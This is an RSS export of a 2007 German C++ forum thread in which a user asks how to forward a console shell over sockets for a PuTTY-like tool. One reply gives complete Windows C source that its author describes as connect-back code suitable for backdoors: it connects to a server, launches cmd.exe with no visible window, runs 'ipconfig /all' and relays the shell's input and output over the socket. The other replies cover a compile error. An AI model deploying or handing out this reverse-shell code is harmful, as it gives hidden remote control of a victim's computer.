<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Shell per Sockets weiterleiten?]]></title><description><![CDATA[<p>Hallo, ich habe vor eine Shell ähnlich wie putty zu entwickeln. Die Shell kann bis jetzt lokale Befehle ausführen, jetzt habe ich ein server und client entwickelt welche nun kommunizieren sollen.</p>
<p>Beispiel:<br />
**<br />
PC1 Client<br />
PC2 Server | Shell**</p>
<p>Also der PC1 ist wo der Client laufen soll, welcher sich mit dem server in Verbindung setzt und dann dieser denn Inhalt der Shell an den Client weitersendet.</p>
<p>Jetzt habe ich ein Code von Microsoft gefunden, welche den Inhalt in eine andere Console umleitet, einmal <strong>Redirect.c</strong> und <strong>Child.c</strong> -&gt; <a href="http://support.microsoft.com/kb/190351/de" rel="nofollow">http://support.microsoft.com/kb/190351/de</a></p>
<p>Habe nur die Redirect verwendet und meinen Namen der Shell eingetragen, wenn ich dann die Redirect.exe starte wird die Shell dann hier gestartet <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /> d.h. ich müsste den Code von Redirect.c in meinen Server Code implementieren, wie bekomme ich die Ein-/Ausgabe von der Shell vom Server zum Client gesendet, also welche Daten soll ich dann senden???</p>
<p>Skizze:</p>
<p>PC1 PC2<br />
Client ------------------ Server &lt;--&gt; Shell</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/179741/shell-per-sockets-weiterleiten</link><generator>RSS for Node</generator><lastBuildDate>Thu, 09 Jul 2026 05:25:37 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/179741.rss" rel="self" type="application/rss+xml"/><pubDate>Tue, 24 Apr 2007 21:07:55 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Shell per Sockets weiterleiten? on Tue, 24 Apr 2007 21:07:55 GMT]]></title><description><![CDATA[<p>Hallo, ich habe vor eine Shell ähnlich wie putty zu entwickeln. Die Shell kann bis jetzt lokale Befehle ausführen, jetzt habe ich ein server und client entwickelt welche nun kommunizieren sollen.</p>
<p>Beispiel:<br />
**<br />
PC1 Client<br />
PC2 Server | Shell**</p>
<p>Also der PC1 ist wo der Client laufen soll, welcher sich mit dem server in Verbindung setzt und dann dieser denn Inhalt der Shell an den Client weitersendet.</p>
<p>Jetzt habe ich ein Code von Microsoft gefunden, welche den Inhalt in eine andere Console umleitet, einmal <strong>Redirect.c</strong> und <strong>Child.c</strong> -&gt; <a href="http://support.microsoft.com/kb/190351/de" rel="nofollow">http://support.microsoft.com/kb/190351/de</a></p>
<p>Habe nur die Redirect verwendet und meinen Namen der Shell eingetragen, wenn ich dann die Redirect.exe starte wird die Shell dann hier gestartet <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /> d.h. ich müsste den Code von Redirect.c in meinen Server Code implementieren, wie bekomme ich die Ein-/Ausgabe von der Shell vom Server zum Client gesendet, also welche Daten soll ich dann senden???</p>
<p>Skizze:</p>
<p>PC1 PC2<br />
Client ------------------ Server &lt;--&gt; Shell</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1272842</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1272842</guid><dc:creator><![CDATA[kernel64]]></dc:creator><pubDate>Tue, 24 Apr 2007 21:07:55 GMT</pubDate></item><item><title><![CDATA[Reply to Shell per Sockets weiterleiten? on Wed, 25 Apr 2007 07:08:42 GMT]]></title><description><![CDATA[<p>erzeuge pipe's die als neue standard handles für die console dienen und starte damit deinen prozess. diese handles rufst du dann auf daten ab und sendest sie ganz normal über sockets weiter.</p>
<p>beispielcode für den server (connectback-code, zum beispiel für backdoors geeignet):</p>
<pre><code class="language-cpp">#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;
#include &lt;winsock2.h&gt;

struct sTimeval {
  long    tv_sec;
  long    tv_usec;
};

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
	// http://support.microsoft.com/default.aspx?scid=kb;en-us;190351
	// http://bdn.borland.com/article/10387

	HANDLE hNewStdIn, hWriteStdIn, hNewStdOut, hReadStdOut;
	STARTUPINFO siProcess = {0};
	PROCESS_INFORMATION piProcess = {0};
	SECURITY_ATTRIBUTES saHandle = {0};
	char szTemp[2048]=&quot;&quot;, szWinDir[512]=&quot;&quot;, szServer[512]=&quot;localhost&quot;;
	DWORD dwToRead=0, dwAvail;
	WSADATA wsaData;
	SOCKADDR_IN siAddr;
	int iPort=150;
	unsigned long ulIp;
	HOSTENT* heData;
	SOCKET sConn;
	FD_SET fdsSelect;
	struct sTimeval tvTimeout;

	//WINSOCK
	WSAStartup(MAKEWORD(2,0), &amp;wsaData);

	memset(&amp;siAddr, 0, sizeof(SOCKADDR_IN));
	siAddr.sin_family = AF_INET;
	siAddr.sin_port = htons(iPort);

	ulIp = inet_addr(szServer);

	if(ulIp!=INADDR_NONE)
	{
		siAddr.sin_addr.s_addr = ulIp;
	}
	else
	{
		heData = gethostbyname(szServer);

		if(heData==NULL)
		{
			return 0;
		}
		else
		{
			memcpy(&amp;(siAddr.sin_addr), heData-&gt;h_addr_list[0], 4);
		}
	}

	sConn = socket(PF_INET, SOCK_STREAM, 0);

	if(sConn==INVALID_SOCKET)
	{
		return 0;
	}

	if(connect(sConn, (SOCKADDR*)&amp;siAddr, sizeof(SOCKADDR))!=0)
	{
		return 0;
	}

	//Redirection
	GetSystemDirectory(szWinDir, 512);
	strcat(szWinDir, &quot;\\cmd.exe&quot;);

	saHandle.nLength= sizeof(SECURITY_ATTRIBUTES);
	saHandle.lpSecurityDescriptor = NULL;
	saHandle.bInheritHandle = TRUE;

	//stdin
	if(CreatePipe(&amp;hNewStdIn, &amp;hWriteStdIn, &amp;saHandle, 0))
	{
		//stdout &amp; stderr
		if(CreatePipe(&amp;hReadStdOut, &amp;hNewStdOut, &amp;saHandle, 0))
		{
			siProcess.hStdError = hNewStdOut;
			siProcess.hStdInput = hNewStdIn;
			siProcess.hStdOutput = hNewStdOut;
			siProcess.dwFlags = STARTF_USESTDHANDLES;
			siProcess.cb = sizeof(STARTUPINFO);

			if(CreateProcess(szWinDir, NULL, NULL, NULL, TRUE, CREATE_NO_WINDOW | NORMAL_PRIORITY_CLASS, NULL, NULL, &amp;siProcess, &amp;piProcess))
			{
				Sleep(500);

				WriteFile(hWriteStdIn, &quot;ipconfig /all\n&quot;, 14, &amp;dwToRead, NULL);

				while(1)
				{
					memset(szTemp, 0, 2048);

					if(PeekNamedPipe(hReadStdOut, NULL, 0, NULL, &amp;dwAvail, NULL))
					{
						if(dwAvail&gt;0)
						{
							if(ReadFile(hReadStdOut, szTemp, 2048, &amp;dwToRead, NULL))
							{
								send(sConn, szTemp, strlen(szTemp), 0);
							}
						}
					}

					memset(szTemp, 0, 2048);

					FD_ZERO(&amp;fdsSelect);
					FD_SET(sConn,&amp;fdsSelect);

					tvTimeout.tv_sec = 0;
					tvTimeout.tv_usec = 0;

					if(select(0, &amp;fdsSelect, NULL, NULL, &amp;tvTimeout)==1)
					{
						if(recv(sConn, szTemp, 2048, 0))
						{
							WriteFile(hWriteStdIn, szTemp, strlen(szTemp), &amp;dwToRead, NULL);
						}
					}

					Sleep(1);
				}
			}
		}
	}

	return 0;
}
</code></pre>
<p>zu compiliern unter LCC compiler. bei mir tat alles wunderbar <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
<p>grützi<br />
RadiatioN</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1272934</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1272934</guid><dc:creator><![CDATA[RadiatioN Offline]]></dc:creator><pubDate>Wed, 25 Apr 2007 07:08:42 GMT</pubDate></item><item><title><![CDATA[Reply to Shell per Sockets weiterleiten? on Wed, 25 Apr 2007 08:58:21 GMT]]></title><description><![CDATA[<p>Hi, habe den ersten Code von <a href="http://bdn.borland.com/article/10387" rel="nofollow">http://bdn.borland.com/article/10387</a> kompiliert und ausgeführt, der ist sogar besser als der von MS da hier nur ein Konsolenfenster geöffnet wird.<br />
Jetzt habe ich mir vorgestellt das die Anwendung <strong>childspawn.cpp</strong> die die Shell umleitet nochmals per Sockets an den CLient sendet, geht das?</p>
<p>Hab dein Code mit Visual Studio 2005 kompiliert bekomme an dieser Stelle:</p>
<pre><code class="language-cpp">if(select(0, &amp;fdsSelect, NULL, NULL, &amp;tvTimeout)==1)
</code></pre>
<p>folgenden Fehler:</p>
<pre><code>error C2664: 'select': Konvertierung des Parameters 5 von 'sTimeval *__w64 ' in 'const timeval *' nicht möglich
        Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat.
</code></pre>
<p>Wie kann man den Fehler beheben?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1272999</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1272999</guid><dc:creator><![CDATA[kernel64]]></dc:creator><pubDate>Wed, 25 Apr 2007 08:58:21 GMT</pubDate></item><item><title><![CDATA[Reply to Shell per Sockets weiterleiten? on Thu, 26 Apr 2007 06:29:25 GMT]]></title><description><![CDATA[<p>in den LCC compiler headern ist die TIMEVAL struktur komischerweise nicht definiert, also habe ich das selbst getan. ersetzte einfach die version von mir mit der aus den original headern. dann sollte das auch ohne cast funktionieren.</p>
<p>grützi<br />
RadiatioN</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1273657</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1273657</guid><dc:creator><![CDATA[Radiation2K5]]></dc:creator><pubDate>Thu, 26 Apr 2007 06:29:25 GMT</pubDate></item><item><title><![CDATA[Reply to Shell per Sockets weiterleiten? on Wed, 02 May 2007 13:50:53 GMT]]></title><description><![CDATA[<p>Ich habe mich für den Code <strong>Redirect.c</strong> von MS entschieden, also hier:<br />
<a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;190351" rel="nofollow">http://support.microsoft.com/default.aspx?scid=kb;en-us;190351</a></p>
<p>Bisher habe ich als Server Programm folgenden Code verwendet: <a href="http://www.c-worker.ch/winsock/selectchatsrv.cpp" rel="nofollow">http://www.c-worker.ch/winsock/selectchatsrv.cpp</a></p>
<p>und als Client:<br />
<a href="http://www.c-worker.ch/winsock/selectchatclient.cpp" rel="nofollow">http://www.c-worker.ch/winsock/selectchatclient.cpp</a></p>
<p>Hier mal ein Konzept von mir, wie es aussehen soll:<br />
<a href="http://home.arcor.de/fam.richert/rshell.jpg" rel="nofollow">http://home.arcor.de/fam.richert/rshell.jpg</a></p>
<p>Jetzt muss ich Redirect.c in den Server-Code einbauen, was soll dann gesendet werden, also welcher Teil von Redirect ?? <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /></p>
<p>Bitte um Hilfe <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1277573</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1277573</guid><dc:creator><![CDATA[kernel64]]></dc:creator><pubDate>Wed, 02 May 2007 13:50:53 GMT</pubDate></item></channel></rss>